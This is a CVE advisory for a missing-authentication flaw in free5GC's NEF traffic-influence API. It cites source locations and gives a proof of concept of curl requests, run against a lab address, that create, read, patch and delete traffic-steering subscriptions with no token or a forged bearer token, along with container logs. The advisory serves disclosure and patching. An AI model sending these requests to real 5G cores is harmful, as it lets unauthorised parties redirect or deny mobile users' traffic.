CVE-2026-44326 — Vulnerability in github.com/free5gc/nef — CVE Details

### Summary free5GC's NEF mounts the `3gpp-traffic-influence` API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no `Authorization` header at all, or with a forged bearer token (e.g. `Authorization: Bearer not-a-real-token`). This includes creating `AnyUeInd=true` subscriptions intended to affect group / any-UE traffic steering. The route group is also reachable even when the running config's `ServiceList` does not declare it, so operators who think they disabled the service via config are still exposed. This is the highest-impact NEF service exposure observed in the lab because it enables unauthenticated state changes on traffic-steering policy objects rather than read-only exposure. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.0` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, and its `ServiceList` only declares `nnef-pfdmanagement` and `nnef-oam`. Despite that, the `3gpp-traffic-influence` route group is mounted and reachable with no inbound auth middleware. Code evidence (paths in `free5gc/nef`): - Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:48` - CRUD routes exposed at `/:afID/subscriptions` and `/:afID/subscriptions/:subID`: `NFs/nef/internal/sbi/api_ti.go:13` - POST allocates AF/subscription state and writes traffic-influence data: `NFs/nef/internal/sbi/processor/ti.go:50` - PATCH looks up and updates the subscription, then calls UDR/PCF: `NFs/nef/internal/sbi/processor/ti.go:279` - DELETE looks up and removes the subscription: `NFs/nef/internal/sbi/processor/ti.go:355` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` - Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000`. 1. CREATE subscription with NO `Authorization` header at all -> `201 Created`: ``` curl -i \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-noauth","afAppId":"app-noauth","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.40 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-noauth","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-noauth/subscriptions ``` 2. CREATE second subscription with FORGED bearer token -> `201 Created`: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-high","afAppId":"app-high","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc","routeInfo":{"ipv4Addr":"10.60.0.2","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions ``` 3. READ with forged token -> `200 OK`: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 ``` 4. PATCH with forged token -> `500 Query to UDR failed` (still reaches business logic, not 401/403, so auth bypass confirmed): ``` curl -i -X PATCH \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc-updated"}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 ``` 5. DELETE with forged token -> `204 No Content`: ``` curl -i -X DELETE \ -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 ``` NEF container logs (`docker logs nef`) show the requests reaching business handlers and returning success / 500-from-business codes (never 401/403): ``` [INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-high] [INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-high/subscriptions [INFO][NEF][TraffInfl] PatchIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 500 | PATCH | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] GetIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 200 | GET | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] DeleteIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 204 | DELETE | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-noauth] [INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-noauth/subscriptions ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the highest-impact NEF SBI surface. Any party that can reach NEF on the SBI network can: - Create attacker-controlled traffic-influence subscriptions (including `AnyUeInd=true` group/any-UE subscriptions), redirecting AF traffic to attacker-chosen DNAIs and routing endpoints via SMF/UPF. - Read existing AF subscriptions, leaking traffic-steering policy data. - Patch existing subscriptions, modifying live traffic-steering decisions for legitimate AFs. - Delete subscriptions, denying service to legitimately provisioned traffic influence. The traffic-influence route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/859 Upstream fix: https://github.com/free5gc/nef/pull/23